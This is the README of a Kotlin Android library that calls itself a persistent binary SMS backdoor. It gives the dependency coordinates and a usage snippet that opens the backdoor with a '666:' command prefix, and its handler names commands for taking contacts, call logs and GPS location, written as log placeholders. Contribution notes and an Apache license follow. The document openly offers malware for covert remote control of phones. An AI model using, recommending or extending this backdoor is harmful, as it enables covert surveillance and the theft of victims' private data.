A Kotlin Android library that opens a persistent binary SMS backdoor with the ability to define your own remote command handler.
allprojects {
repositories {
...
maven { url 'https://jitpack.io' }
}
}
dependencies {
implementation 'com.github.evilthreads669966:smsbackdoor:3.1'
}
//666: is the command code. So you would start all of your remote commands for example: 666: COMMAND_GET_CONTACTS
val myPayload = suspend {
//do something
}
SmsBackdoor.openDoor(this, "666:", payload = myPayload){ remoteCommand ->
when(remoteCommand){
"COMMAND_GET_CONTACTS" -> Log.d("SMS BACKDOOR", "WRITE CODE TO GET CONTACTS")
"COMMAND_GET_CALL_LOG" -> Log.d("SMS BACKDOOR", "WRITE CODE TO GET CALL LOG")
"COMMAND_GET_LOCATION" -> Log.d("SMS BACKDOOR", "WRITE CODE TO GET GPS LOCATION")
else -> Log.d("SMS BACKDOOR", "COMMAND NOT FOUND")
}
}
Found a bug on a specific feature? Open an issue on Github issues
SMS Backdoor is released under the Apache 2.0 license. If you would like to contribute something, or simply want to hack then this document should help you get started.
We use GitHub issues to track bugs and enhancements.
None of these is essential for a pull request, but they will all help. They can also be added after the original pull request but before a merge.
@author
to the .kt
files that you modify or create.If you don't have an IDE preference we would recommend that you use Android Studio
This project exists thanks to all the people who contribute.
Copyright 2020 Chris Basinger
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.